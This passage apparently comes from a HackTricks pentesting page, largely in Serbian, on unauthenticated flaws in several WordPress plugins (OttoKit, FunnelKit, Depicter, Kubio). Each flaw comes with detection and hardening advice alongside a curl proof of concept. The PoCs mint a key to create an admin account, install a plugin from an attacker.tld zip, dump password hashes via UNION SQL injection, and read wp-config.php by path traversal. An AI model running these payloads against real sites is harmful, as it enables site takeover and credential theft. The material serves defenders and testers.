- Web logovi koji pokazuju neautentifikovane POST-ove na /wp-admin/admin-ajax.php sa social-login akcijom i id=
. - 200 odgovori sa success JSON-om koji odmah prethode autentifikovanom saobraćaju sa iste IP/User-Agent.
Hardening
- Ne izvlačite identitet iz klijentskog unosa. Prihvatati samo emailove/ID-e koji potiču iz validiranog tokena/ID-a provajdera.
- Zahtijevajte CSRF nonces i provere privilegija čak i za pomoćnike za prijavu; izbegavajte registraciju wp_ajax_nopriv_ osim ako nije strogo neophodno.
- Validirajte i verifikujte OAuth/OIDC odgovore na serverskoj strani; odbacite nedostajuće/nevažeće providere (bez fallback-a na POST id).
- Razmotrite privremeno onemogućavanje social login-a ili virtuelno zakrpljivanje na edge-u (blokirajte ranjivu akciju) dok se ne popravi.
Patched behaviour (Jobmonster 4.8.0)
- Uklonjen nesiguran fallback iz $_POST['id']; $user_email mora poticati iz verifikovanih provider grana u switch($_POST['using']).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – kreirajte connection key i upotrebite ga
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Zašto je iskoristivo
- Osetljiva REST ruta zaštićena samo slabim dokazom identiteta (korisničko ime/email) ili nedostaje permission_callback
- Nema sprovođenja capability; izdati ključ se prihvata kao univerzalno zaobilaženje
Kontrolna lista za detekciju
- Grep-uj kod plugina za register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Bilo koja ruta koja izdaje tokene/ključeve zasnovane na identitetu poslatom u zahtevu (korisničko ime/email) bez vezivanja za autentifikovanog korisnika ili capability
- Traži naredne rute koje prihvataju izdati token/ključ bez provere capability na serverskoj strani
Ojačavanje
- Za svaku privilegovanu REST rutu: zahtevati permission_callback koji poziva current_user_can() za potrebnu capability
- Ne izdavati dugovečne ključeve na osnovu identiteta poslatog od klijenta; ako je potrebno, izdavati kratkotrajne tokene vezane za korisnika nakon autentifikacije i ponovo proveravati capability pri upotrebi
- Validirajte korisnički kontekst pozivaoca (wp_set_current_user nije sam po sebi dovoljan) i odbacite zahteve gde !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → neautentifikovana proizvoljna instalacija plugina (FunnelKit Automations ≤ 3.5.3)
Nonces sprečavaju CSRF, ne autorizaciju. Ako kod tretira uspešan nonce kao zeleno svetlo i onda preskače provere capability za privilegovane operacije (npr. install/activate plugins), neautentifikovani napadači mogu zadovoljiti slabi nonce uslov i postići RCE instaliranjem backdoored or vulnerable plugin.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- REST/AJAX handler-i koji menjaju plugins/themes, a koriste samo wp_verify_nonce()/check_admin_referer() i bez provere privilegija
- Bilo koji code path koji postavlja $skip_caps = true nakon validacije nonce-a
Hardening
- Uvek tretirajte nonces samo kao CSRF tokene; primenjujte provere privilegija bez obzira na stanje nonce-a
- Zahtevajte current_user_can('install_plugins') i current_user_can('activate_plugins') pre nego što se dođe do installer koda
- Odbacite neautentifikovan pristup; izbegavajte izlaganje nopriv AJAX actions za privilegovane tokove
Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
Više depicter-* actions je koristilo parametar s (search) i konkateniralo ga u SQL upite bez parameterizacije.
- Parameter: s (search)
- Flaw: direktna string concatenation u WHERE/LIKE klauzulama; nema prepared statements/sanitization
- Impact: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
- Review custom queries passed to $wpdb->get_results()/query() concatenating s
Hardening
- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
- Add a strict allowlist for s and normalize to expected charset/length
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: no normalization/allowlisting; traversal permitted
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC – čitanje wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Kontrolna lista za detekciju
- Bilo koji handler koji spaja request paths u include()/require()/read sinks bez realpath() containment
- Tražite traversal obrasce (../) koji dopiru izvan predviđenog direktorijuma sa template-ima
Ojačavanje
- Primorajte korišćenje dozvoljenih (allowlisted) template-a; rešavajte sa realpath() i zahtevajte str_starts_with(realpath(file), realpath(allowed_base))
- Normalizujte ulaz; odbacite traversal sekvence i apsolutne putanje; koristite sanitize_file_name() samo za imena fajlova (ne za pune putanje)
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks